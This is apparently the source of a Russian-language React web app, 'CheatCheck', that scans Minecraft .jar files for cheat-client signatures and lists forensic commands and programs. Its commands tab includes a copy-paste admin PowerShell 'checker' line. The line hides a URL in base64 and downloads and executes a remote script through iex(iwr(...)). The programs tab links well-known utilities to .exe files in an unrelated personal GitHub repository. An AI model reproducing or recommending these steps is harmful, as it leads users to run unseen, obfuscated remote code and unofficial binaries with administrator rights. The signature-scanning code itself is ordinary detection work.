const { useState, useCallback, useRef } = React;

// ---------- База сигнатур читов ----------
// Каждая сигнатура: имя чит-клиента + паттерны, которые ищутся в путях классов и в строках.
const SIGNATURES = [
  { name: "Wurst",        severity: "high", patterns: ["net/wurstclient", "wurstclient", "WurstClient"] },
  { name: "Meteor Client",severity: "high", patterns: ["meteordevelopment", "meteorclient", "MeteorClient"] },
  { name: "Impact",       severity: "high", patterns: ["clientapi", "com/mentalfrostbite", "ImpactClient", "impact/"] },
  { name: "LiquidBounce", severity: "high", patterns: ["net/ccbluex", "liquidbounce", "ccbluex"] },
  { name: "Aristois",     severity: "high", patterns: ["aristois", "com/darkmagician6"] },
  { name: "Sigma",        severity: "high", patterns: ["sigma5", "sigmaclient", "com/sigma"] },
  { name: "Future",       severity: "high", patterns: ["future/client", "futureclient"] },
  { name: "Novoline",     severity: "high", patterns: ["novoline"] },
  { name: "Rise",         severity: "high", patterns: ["riseclient", "rise/client"] },
  { name: "Vape",         severity: "high", patterns: ["vapeclient", "vape/", "vapelite"] },
  { name: "Moon",         severity: "high", patterns: ["moonclient", "moon/client"] },
  { name: "Baritone (авто-навигация)", severity: "medium", patterns: ["baritone", "cabaletta"] },
  { name: "Inertia",      severity: "high", patterns: ["inertiaclient", "inertia/"] },
  { name: "Konas",        severity: "high", patterns: ["konas"] },
  { name: "Salhack",      severity: "high", patterns: ["salhack", "sal/hack"] },
  { name: "Kami / KamiBlue", severity: "high", patterns: ["kamiblue", "org/kamiblue"] },
  // Общие эвристики — модули читов по названиям
  { name: "Модуль KillAura",  severity: "medium", patterns: ["killaura", "auramodule"] },
  { name: "Модуль Fly",       severity: "medium", patterns: ["flyhack", "flymodule"] },
  { name: "Модуль XRay",      severity: "medium", patterns: ["xray", "xrayhack"] },
  { name: "Модуль Reach",     severity: "medium", patterns: ["reachmodule", "reachhack"] },
  { name: "Модуль AutoClicker",severity: "medium",patterns: ["autoclicker", "autoclick"] },
  { name: "Модуль Speed/Bhop",severity: "medium", patterns: ["bhop", "speedhack"] },
  { name: "Модуль ESP/Tracers",severity: "medium",patterns: ["espmodule", "tracers", "playeresp"] },
  { name: "ClickGUI (меню читов)", severity: "low", patterns: ["clickgui", "clickgui/"] },

  // --- Читы-клиенты (RU/CIS сцена и приватки) ---
  { name: "Celka",        severity: "high", patterns: ["celka", ".celka", "целестиал", "celestial", "calestial", "celestial"] },
  { name: "Celestial",    severity: "high", patterns: ["celestial", "calestial"] },
  { name: "Xrau",         severity: "high", patterns: ["xrau"] },
  { name: "Neat",         severity: "high", patterns: ["neatclient", "neat/"] },
  { name: "Wexide / Wexside", severity: "high", patterns: ["wexide", "wexside", ".wex"] },
  { name: "XONE",         severity: "high", patterns: ["xoneclient", "xone/"] },
  { name: "Venus",        severity: "high", patterns: ["venusfree", "venusclient", "venus/"] },
  { name: "Haruka",       severity: "high", patterns: ["haruka"] },
  { name: "Nursultan",    severity: "high", patterns: ["nursultan", "nurik", "nurultan", ".nur"] },
  { name: "Britva",       severity: "high", patterns: ["britva"] },
  { name: "Ezka / Keaz",  severity: "high", patterns: ["ezka", "ezkaclient", "keazclient", "keaz"] },
  { name: "Night Project",severity: "high", patterns: ["nightprodject", "nightproject"] },
  { name: "Akrien",       severity: "high", patterns: ["akrien", ".akr"] },
  { name: "Excellent",    severity: "high", patterns: ["excellentclient", "excellent/"] },
  { name: "Expensive",    severity: "high", patterns: ["expensive"] },
  { name: "Delta",        severity: "high", patterns: ["deltaclient", "delta/"] },
  { name: "Rassvet",      severity: "high", patterns: ["rassvet", "рассвет"] },
  { name: "NewCode",      severity: "high", patterns: ["newcode"] },
  { name: "Moon Project", severity: "high", patterns: ["moonproject", "moonhack", "moonclient"] },
  { name: "NewLight",     severity: "high", patterns: ["newlight"] },
  { name: "DeadCode",     severity: "high", patterns: ["deadcode"] },
  { name: "Fanarme",      severity: "high", patterns: ["fanarme"] },
  { name: "Minced",       severity: "high", patterns: ["minced"] },
  { name: "Verist",       severity: "high", patterns: ["verist"] },
  { name: "Fluger / FlugerKami", severity: "high", patterns: ["fluger", "flugerkami"] },
  { name: "NeverHook",    severity: "high", patterns: ["neverhook"] },
  { name: "Zamorozka",    severity: "high", patterns: ["zamorozka", "заморозка"] },
  { name: "Wild",         severity: "high", patterns: ["wildclient", "wild/"] },
  { name: "BlackBerry",   severity: "high", patterns: ["blackberry"] },
  { name: "Avalon",       severity: "high", patterns: ["avalone", "avalon"] },
  { name: "Rockstar",     severity: "high", patterns: ["rockstarclient", "rockstar"] },
  { name: "Rich / RichPremium", severity: "high", patterns: ["richpremium", "richclient"] },
  { name: "Nova-Dev",     severity: "high", patterns: ["nova-dev", "novadev"] },
  { name: "BebraWare",    severity: "high", patterns: ["bebraware"] },
  { name: "RynWare",      severity: "high", patterns: ["rynware"] },
  { name: "Neverware",    severity: "high", patterns: ["neverware"] },
  { name: "Jigsaw",       severity: "high", patterns: ["jigsaw"] },
  { name: "Ares",         severity: "high", patterns: ["aresclient", "ares/"] },
  { name: "Wolfram",      severity: "high", patterns: ["wolfram"] },
  { name: "BleachHack",   severity: "high", patterns: ["bleachhack"] },
  { name: "Matix",        severity: "high", patterns: ["matixclient", "matix"] },
  { name: "Pivo Client",  severity: "high", patterns: ["pivoclient"] },
  { name: "GishCode",     severity: "high", patterns: ["gishcode"] },
  { name: "Eternity",     severity: "high", patterns: ["eternityclient", "eternity"] },
  { name: "R3D",          severity: "high", patterns: ["r3dclient", "r3d/"] },
  { name: "BoberWare",    severity: "high", patterns: ["boberware"] },
  { name: "Ponos",        severity: "high", patterns: ["ponos"] },
  { name: "Emortality",   severity: "high", patterns: ["emortalityclient", "emortality"] },
  { name: "Dreampool",    severity: "high", patterns: ["dreampool"] },
  { name: "Clowdy",       severity: "high", patterns: ["clowdy"] },
  { name: "Rasty",        severity: "high", patterns: ["rasty"] },
  { name: "Rich R3D / boberware", severity: "high", patterns: ["boberware"] },
  { name: "Huzuni",       severity: "high", patterns: ["huzuni"] },
  { name: "SkillClient",  severity: "high", patterns: ["skillclient"] },
  { name: "ForgeHax",     severity: "high", patterns: ["forgehax"] },
  { name: "Jex / CheatClientJex", severity: "high", patterns: ["cheatclientjex", "jexclient"] },
  { name: "WWE Client",   severity: "high", patterns: ["wweclient"] },
  { name: "Rich / Excellent priv", severity: "high", patterns: ["expensive", "excellent"] },
  { name: "FreeCam",      severity: "medium", patterns: ["freecam"] },

  // --- Читерские модули/функции ---
  { name: "AutoFish",     severity: "medium", patterns: ["autofish"] },
  { name: "AutoFarm",     severity: "medium", patterns: ["autofarm"] },
  { name: "AutoAttack",   severity: "medium", patterns: ["autoattack"] },
  { name: "AutoBuy",      severity: "medium", patterns: ["topkaautobuy", "autobuy"] },
  { name: "ElytraSwap",   severity: "medium", patterns: ["elytraswap"] },
  { name: "ArmorHotSwap", severity: "medium", patterns: ["armorhotswap"] },
  { name: "GoProne",      severity: "medium", patterns: ["goprone"] },
  { name: "InvMove",      severity: "medium", patterns: ["invmove"] },
  { name: "DiamondSim",   severity: "medium", patterns: ["diamondsim"] },
  { name: "Jessica",      severity: "medium", patterns: ["jessica"] },
];

const SUSPICIOUS_STRINGS = [
  "killaura", "aimbot", "triggerbot", "autototem", "criticals",
  "velocity hack", "anti knockback", "antiknockback", "fastplace",
  "nofall", "no fall", "scaffold", "packet mine", "freecam",
  "x-ray", "xray", "autofish", "autofarm", "autoattack", "autoclicker",
  "elytraswap", "armorhotswap", "goprone", "invmove", "cheatengine",
  "cheat client", "hacked client", "чит", "кряк", "крякнут",
];

async function analyzeJar(file, onProgress) {
  const zip = await JSZip.loadAsync(file);
  const entries = Object.keys(zip.files).filter((n) => !zip.files[n].dir);
  const classFiles = entries.filter((n) => n.endsWith(".class"));

  const findings = new Map(); // name -> { severity, evidence:Set }
  const addFinding = (sig, ev) => {
    if (!findings.has(sig.name)) findings.set(sig.name, { severity: sig.severity, evidence: new Set() });
    findings.get(sig.name).evidence.add(ev);
  };

  // 1. Скан путей всех файлов внутри архива
  const lowerEntries = entries.map((e) => ({ raw: e, low: e.toLowerCase() }));
  for (const sig of SIGNATURES) {
    for (const p of sig.patterns) {
      const pl = p.toLowerCase();
      const hit = lowerEntries.find((e) => e.low.includes(pl));
      if (hit) addFinding(sig, `путь: ${hit.raw}`);
    }
  }

  // 2. Глубокий скан содержимого .class файлов (строковые константы)
  //    Ограничиваем количество, чтобы не подвесить браузер на огромных модпаках.
  const MAX_SCAN = 1500;
  const toScan = classFiles.slice(0, MAX_SCAN);
  let done = 0;
  for (const name of toScan) {
    let text = "";
    try {
      const bytes = await zip.files[name].async("uint8array");
      // Достаём читаемые ASCII-последовательности (строки из constant pool).
      text = extractStrings(bytes).toLowerCase();
    } catch (e) { /* пропускаем битые записи */ }

    for (const sig of SIGNATURES) {
      for (const p of sig.patterns) {
        if (text.includes(p.toLowerCase())) addFinding(sig, `в коде: ${name}`);
      }
    }
    for (const s of SUSPICIOUS_STRINGS) {
      if (text.includes(s)) {
        addFinding({ name: "Подозрительные строки", severity: "low" }, `«${s}» в ${name}`);
      }
    }
    done++;
    if (done % 100 === 0) onProgress(done, toScan.length);
  }
  onProgress(toScan.length, toScan.length);

  // Манифест
  let mainClass = null, manifestText = "";
  if (zip.files["META-INF/MANIFEST.MF"]) {
    manifestText = await zip.files["META-INF/MANIFEST.MF"].async("string");
    const m = manifestText.match(/Main-Class:\s*(.+)/i);
    if (m) mainClass = m[1].trim();
  }

  const result = [...findings.entries()].map(([name, v]) => ({
    name, severity: v.severity, evidence: [...v.evidence].slice(0, 8),
  }));
  const order = { high: 0, medium: 1, low: 2 };
  result.sort((a, b) => order[a.severity] - order[b.severity]);

  const highest = result.reduce((acc, f) => Math.min(acc, order[f.severity]), 3);
  let verdict = "clean";
  if (highest === 0) verdict = "cheat";
  else if (highest <= 2) verdict = "suspicious";

  return {
    verdict, findings: result, mainClass,
    fileName: file.name, fileSize: file.size,
    totalEntries: entries.length, classCount: classFiles.length,
    scanned: toScan.length, truncated: classFiles.length > MAX_SCAN,
  };
}

function extractStrings(bytes) {
  let out = [], cur = [];
  for (let i = 0; i < bytes.length; i++) {
    const b = bytes[i];
    if (b >= 0x20 && b < 0x7f) {
      cur.push(b);
    } else {
      if (cur.length >= 4) out.push(String.fromCharCode(...cur));
      cur = [];
    }
  }
  if (cur.length >= 4) out.push(String.fromCharCode(...cur));
  return out.join("\n");
}

// ---------- Данные вкладок ----------
const PROGRAMS = [
  { name: "Everything (voidtools)", tag: "Файлы", desc: "Мгновенный поиск по всему диску — ищет спрятанные .jar, инжекторы, автокликеры по имени и дате. Скачивай и вбивай названия читов из базы.", url: "https://github.com/VovaYarginTOP228/proverkanacheat/raw/refs/heads/main/Everything-1.4.1.1032.x86-Setup.exe" },
  { name: "Shellbag Analyzer & Cleaner", tag: "Следы", desc: "Читает Shellbag-записи реестра — показывает папки, которые игрок открывал, даже если он их удалил. Ловит скрытые папки с читами.", url: "https://github.com/VovaYarginTOP228/proverkanacheat/raw/refs/heads/main/shellbag_analyzer_cleaner.exe" },
  { name: "MC Anti-Cheat Screenshare (SS Tool)", tag: "Screenshare", desc: "Утилита для проверки игрока в реальном времени: смотрит запущенные процессы, недавно удалённые файлы, историю DNS." },
  { name: "Process Hacker / System Informer", tag: "Процессы", desc: "Смотрит все процессы, вложенные потоки и загруженные DLL — ловит инжекторы и скрытые клиенты." },
  { name: "USN Journal / NTFS Log viewer", tag: "Файлы", desc: "Показывает удалённые файлы через журнал NTFS — читер удалил .jar, но след остался." },
  { name: "JD-GUI / Recaf", tag: "Декомпилятор", desc: "Открывает и декомпилирует .jar в читаемый Java-код для ручной проверки классов на модули читов." },
  { name: "Bytecode Viewer", tag: "Декомпилятор", desc: "Несколько декомпиляторов в одном окне для анлиза обфусцированных чит-клиентов." },
  { name: "HashMyFiles (NirSoft)", tag: "Хеши", desc: "Считает SHA-256/MD5 файлов — сверка с базой хешей известных читов и оригинальных клиентов." },
  { name: "Windows Event Viewer", tag: "Логи", desc: "История запусков программ, ошибки и очистка логов — признак сокрытия следов." },
];

// Список названий читов для вставки в поиск Everything (оператор | = ИЛИ).
const EVERYTHING_QUERY = "celka|celestial|calestial|xrau|autofish|autofarm|neat|wexide|wexside|XONE|venusfree|haruka|bariton|baritone|nursultan|britva|Ezka|nightprodject|nightproject|akrien|excellent|expensive|delta|rassvet|newcode|moonproject|moonhack|newlight|deadcode|impact|killaura|fanarme|minced|meteor|verist|flugerkami|fluger|Wurst|inertia|LiquidBounce|Sigma|NeverHook|Zamorozka|Shit|Wild|keazclient|xray|x-ray|BlackBerry|Avalone|Rockstar|Rich|nova-dev|BebraWare|RynWare|Neverware|Aristois|FreeCam|Jigsaw|Salhack|Ares|Wolfram|WWE|BleachHack|Matix|pivoclient|cabaletta|GishCode|Eternity|RichPremium|R3D|boberware|nurik|Ponos|Emortality|Dreampool|Clowdy|Rasty|DiamondSim|AutoAttack|Jessica|InvMove|TopkaAutoBuy|ElytraSwap|ArmorHotSwap|GoProne|Cheat|CheatEngine|Huzuni|SkillClient|forgehax|moonhack|целестиал|кряк";

const COMMAND_SECTIONS = [
  {
    heading: "🔎 Текст для Everything",
    intro: "Скачай Everything (вкладка «Программы»), вставь эту строку в поиск. Оператор | значит «или» — покажет все файлы, где встречается любое из названий читов.",
    items: [
      { title: "Полный список читов (вставить в поиск)", cmd: EVERYTHING_QUERY, note: "Ищет по всему диску файлы и папки с именами известных читов." },
      { title: "Только .jar с читами", cmd: "*.jar celka|nursultan|expensive|wexide|akrien|celestial|neat|haruka", note: "Сузить до Java-архивов — быстрее найти читовый клиент." },
      { title: "Недавно изменённые файлы", cmd: "dm:today ext:jar;exe;dll;rar;zip", note: "Файлы, тронутые сегодня — читер мог удалить/спрятать перед проверкой." },
    ],
  },
  {
    heading: "⚡ PowerShell — проверка ПК",
    intro: "Запускай в PowerShell от имени администратора. Ищут следы читов, удалённые файлы и запуски программ.",
    items: [
      { title: "Чекер", cmd: "iex(iwr([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9jaGVhdGNoZWtlci5zdS9vcGEucHMx')))-UseBasicParsing)", note: "Проверяет ПК на читы и Minecraft." },
      { title: "Поиск .jar по всему диску", cmd: "Get-ChildItem C:\\ -Recurse -Include *.jar -ErrorAction SilentlyContinue | Select FullName, LastWriteTime", note: "Все Java-архивы на диске с датой изменения." },
      { title: "Недавно запускавшиеся программы (Prefetch)", cmd: "Get-ChildItem C:\\Windows\\Prefetch\\*.pf | Sort LastWriteTime -Desc | Select Name, LastWriteTime -First 40", note: "Prefetch хранит следы запуска .exe — видно чит-лаунчеры даже после удаления." },
      { title: "Запущенные процессы с путями", cmd: "Get-Process | Select Name, Path, StartTime | Sort StartTime -Desc", note: "Смотри подозрительные пути (Temp, Downloads, левые папки)." },
      { title: "Свежие файлы в Downloads/Temp", cmd: "Get-ChildItem $env:USERPROFILE\\Downloads, $env:TEMP -Recurse -ErrorAction SilentlyContinue | Where {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} | Select FullName, LastWriteTime", note: "Что скачивали и распаковывали за последние 3 дня." },
      { title: "История запусков (BAM)", cmd: "Get-ItemProperty 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\bam\\State\\UserSettings\\*\\*' -ErrorAction SilentlyContinue | Select PSChildName", note: "Реестр BAM хранит список запущенных программ с временем — ключевая улика." },
      { title: "Корзина (удалённые файлы)", cmd: "Get-ChildItem 'C:\\$Recycle.Bin' -Recurse -Force -ErrorAction SilentlyContinue | Select Name, LastWriteTime", note: "Читер удалил чит — файл ещё в корзине." },
      { title: "Очищался ли журнал USN (следы удаления)", cmd: "fsutil usn queryjournal C:", note: "Если журнал недавно пересоздан — возможно, чистили следы." },
      { title: "Проверка hosts (обход античит-серверов)", cmd: "Get-Content C:\\Windows\\System32\\drivers\\etc\\hosts", note: "Левые записи могут блокировать проверочные домены." },
    ],
  },
];

// ---------- UI ----------
function Verdict({ r }) {
  const map = {
    cheat:      { cls: "v-cheat",  icon: "⛔", title: "Обнаружен чит-клиент" },
    suspicious: { cls: "v-susp",   icon: "⚠️", title: "Подозрительно" },
    clean:      { cls: "v-clean",  icon: "✅", title: "Явных читов не найдено" },
  };
  const v = map[r.verdict];
  return (
    <div className={"verdict " + v.cls}>
      <div className="verdict-head"><span className="v-icon">{v.icon}</span><span>{v.title}</span></div>
      <div className="verdict-meta">
        <span>{r.fileName}</span>
        <span>{(r.fileSize / 1024 / 1024).toFixed(2)} МБ</span>
        <span>классов: {r.classCount}</span>
        <span>просканировано: {r.scanned}{r.truncated ? " (лимит)" : ""}</span>
        {r.mainClass && <span>Main-Class: {r.mainClass}</span>}
      </div>
      {r.verdict === "clean" && (
        <p className="hint">Сигнатурный анализ ничего не нашёл, но обфусцированные или новые читы могут не детектиться. Проверьте вручную декомпилятором.</p>
      )}
      {r.findings.length > 0 && (
        <div className="findings">
          {r.findings.map((f) => (
            <div key={f.name} className={"finding sev-" + f.severity}>
              <div className="finding-top">
                <span className="finding-name">{f.name}</span>
                <span className={"badge b-" + f.severity}>{f.severity === "high" ? "высокий" : f.severity === "medium" ? "средний" : "низкий"}</span>
              </div>
              <ul>{f.evidence.map((e, i) => <li key={i}>{e}</li>)}</ul>
            </div>
          ))}
        </div>
      )}
    </div>
  );
}

function JarChecker() {
  const [result, setResult] = useState(null);
  const [busy, setBusy] = useState(false);
  const [progress, setProgress] = useState(null);
  const [error, setError] = useState(null);
  const [drag, setDrag] = useState(false);
  const inputRef = useRef();

  const handleFile = useCallback(async (file) => {
    if (!file) return;
    if (!file.name.toLowerCase().endsWith(".jar")) {
      setError("Нужен файл .jar"); return;
    }
    setError(null); setResult(null); setBusy(true); setProgress({ d: 0, t: 0 });
    try {
      const r = await analyzeJar(file, (d, t) => setProgress({ d, t }));
      setResult(r);
    } catch (e) {
      setError("Не удалось прочитать файл: " + e.message);
    } finally { setBusy(false); }
  }, []);

  return (
    <div>
      <div
        className={"drop" + (drag ? " drag" : "")}
        onClick={() => inputRef.current.click()}
        onDragOver={(e) => { e.preventDefault(); setDrag(true); }}
        onDragLeave={() => setDrag(false)}
        onDrop={(e) => { e.preventDefault(); setDrag(false); handleFile(e.dataTransfer.files[0]); }}
      >
        <div className="drop-icon">📦</div>
        <div className="drop-title">Перетащи сюда .jar или нажми для выбора</div>
        <div className="drop-sub">Файл анализируется прямо в браузере и никуда не отправляется</div>
        <input ref={inputRef} type="file" accept=".jar" hidden
               onChange={(e) => handleFile(e.target.files[0])} />
      </div>

      {busy && progress && (
        <div className="progress">
          <div className="progress-bar"><div style={{ width: (progress.t ? (progress.d / progress.t * 100) : 0) + "%" }} /></div>
          <span>Анализ… {progress.d}/{progress.t} классов</span>
        </div>
      )}
      {error && <div className="error">{error}</div>}
      {result && <Verdict r={result} />}
    </div>
  );
}

function ProgramsTab() {
  return (
    <div className="cards">
      {PROGRAMS.map((p) => (
        <div className="card" key={p.name}>
          <div className="card-top">
            <span className="card-name">{p.name}</span>
            <span className="card-tag">{p.tag}</span>
          </div>
          <p>{p.desc}</p>
          {p.url && (
            <a className="card-dl" href={p.url} target="_blank" rel="noopener noreferrer">⬇ Скачать</a>
          )}
        </div>
      ))}
    </div>
  );
}

function CommandsTab() {
  const [copied, setCopied] = useState(null);
  const copy = (cmd) => {
    navigator.clipboard?.writeText(cmd);
    setCopied(cmd); setTimeout(() => setCopied(null), 1200);
  };
  return (
    <div className="cmd-sections">
      {COMMAND_SECTIONS.map((sec) => (
        <div className="cmd-section" key={sec.heading}>
          <h2 className="sec-head">{sec.heading}</h2>
          <p className="sec-intro">{sec.intro}</p>
          <div className="cmd-list">
            {sec.items.map((c) => (
              <div className="cmd" key={c.title}>
                <div className="cmd-title">{c.title}</div>
                <div className="cmd-row">
                  <code>{c.cmd}</code>
                  <button onClick={() => copy(c.cmd)}>{copied === c.cmd ? "✓ скопировано" : "копировать"}</button>
                </div>
                <div className="cmd-note">{c.note}</div>
              </div>
            ))}
          </div>
        </div>
      ))}
    </div>
  );
}

function App() {
  const [tab, setTab] = useState("jar");
  const tabs = [
    { id: "jar", label: "🔍 Проверка JAR" },
    { id: "programs", label: "🛠 Программы" },
    { id: "commands", label: "⌨️ Команды консоли" },
  ];
  return (
    <div className="wrap">
      <header>
        <h1>CheatCheck</h1>
        <p>Инструмент проверки Minecraft-клиентов на читы</p>
      </header>
      <nav className="tabs">
        {tabs.map((t) => (
          <button key={t.id} className={tab === t.id ? "active" : ""} onClick={() => setTab(t.id)}>{t.label}</button>
        ))}
      </nav>
      <main>
        {tab === "jar" && <JarChecker />}
        {tab === "programs" && <ProgramsTab />}
        {tab === "commands" && <CommandsTab />}
      </main>
      <footer>
        <p>Анализ выполняется локально в браузере. Сигнатурный метод не гарантирует 100% детект обфусцированных читов — при сомнениях проверяйте вручную.</p>
      </footer>
    </div>
  );
}

ReactDOM.createRoot(document.getElementById("root")).render(<App />);
